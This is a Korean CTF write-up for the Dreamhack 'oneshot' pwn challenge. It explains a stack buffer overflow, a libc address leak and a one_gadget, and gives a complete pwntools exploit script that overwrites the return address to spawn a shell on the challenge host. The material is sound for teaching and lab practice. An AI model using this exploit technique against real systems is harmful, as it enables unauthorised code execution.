oneshot
46 bytes into a 16-byte buffer, with a leaked stdout address turning a one-gadget into a working shell.
소스코드 분석
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout); // [1] stdout 주소 leak
printf("MSG: ");
read(0, msg, 46); // [2] 16바이트 버퍼에 46바이트 입력 → BOF
if (check > 0) { // [3] check가 0이어야 계속 진행
exit(0);
}
printf("MSG: %s\n", msg);
return 0; // [4] return 시 RET 주소로 점프
}
취약점
msg 는 16바이트지만 read() 가 최대 46바이트를 받으므로 30바이트 초과 입력이 가능합니다. 카나리가 없기 때문에 스택을 그대로 덮을 수 있습니다.
스택 레이아웃 분석
gdb 로 실제 변수 주소를 확인합니다.
$ gdb ./oneshot
(gdb) b main
(gdb) r
(gdb) p &msg # msg 시작 주소
(gdb) p &check # check 시작 주소
실제 스택 구조 (컴파일러가 정렬용 패딩 8바이트 삽입):
[낮은 주소]
rbp-0x20 msg[16] ← 입력 시작점
rbp-0x10 (패딩 8바이트) ← 컴파일러가 16바이트 정렬을 위해 삽입
rbp-0x08 check (8바이트) ← 0이어야 exit() 분기 안 함
rbp+0x00 SFP (8바이트) ← 저장된 프레임 포인터
rbp+0x08 RET (8바이트) ← 덮을 목표
[높은 주소]
주의: 코드에서는 msg[16] 바로 다음에 check 처럼 보이지만, 실제 메모리에서는 컴파일러가 8바이트 패딩을 삽입합니다. gdb 로 직접 확인하지 않으면 패딩 존재를 놓치기 쉽습니다.
익스플로잇 전략
1단계 — libc 주소 leak
프로그램이 직접 stdout 주소를 출력해줍니다.
stdout: 0x7f3a001ec620
이 값으로 libc 가 메모리 어디에 로드됐는지 계산합니다.
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
2단계 — one_gadget 주소 계산
one_gadget 은 libc 파일 안에 존재하는, 단 하나의 주소로 점프만 해도 /bin/sh 가 실행되는 코드 조각입니다.
$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
libc 파일 내 고정 offset 이므로, libc_base 를 알면 실제 주소를 계산할 수 있습니다.
one_gadget = libc_base + 0x4526a # 조건이 맞는 후보 선택
3단계 — payload 구성
[msg 16바이트] + [패딩 8바이트] + [check 8바이트, \x00으로] + [SFP 8바이트] + [RET = one_gadget]
payload = b'A' * 24 # msg(16) + 컴파일러 패딩(8)
payload += b'\x00' * 8 # check = 0 유지 (exit 방지)
payload += b'B' * 8 # SFP 덮기
payload += p64(one_gadget) # RET → one_gadget
check 를 \x00 으로 채우는 이유: if (check > 0) 조건에 걸리면 exit(0) 으로 빠져나가므로, check 영역은 반드시 0을 유지해야 합니다.
최종 익스플로잇 코드
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host3.dreamhack.games", 23231)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
one_gadget_offset = 0x4526a # one_gadget 툴로 찾은 offset
# [1] libc leak
p.recvuntil(b"stdout: ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = libc_base + one_gadget_offset
slog("stdout", stdout)
slog("libc_base", libc_base)
slog("one_gadget", one_gadget)
# [2] payload
payload = b'A' * 24 # msg(16) + 컴파일러 패딩(8)
payload += b'\x00' * 8 # check = 0 유지
payload += b'B' * 8 # SFP
payload += p64(one_gadget) # RET 덮기
p.sendafter(b"MSG: ", payload)
p.interactive()
핵심 개념 정리
- one_gadget: libc 내부에 존재하는, 단 하나의 주소로 점프만 해도 /bin/sh 를 실행하는 코드 조각. 단, 실행 시점의 레지스터/스택 상태가 조건을 만족해야 동작함.
- libc leak: PIE/ASLR 환경에서 실행마다 주소가 바뀌므로, 프로그램이 출력하는 libc 내부 심볼 주소를 이용해 libc_base 를 역산하는 기법.
- 컴파일러 정렬 패딩: 컴파일러는 스택 변수를 16바이트 경계에 맞추기 위해 코드에 없는 빈 공간을 삽입할 수 있음. gdb 로 실제 주소를 확인하는 습관이 중요.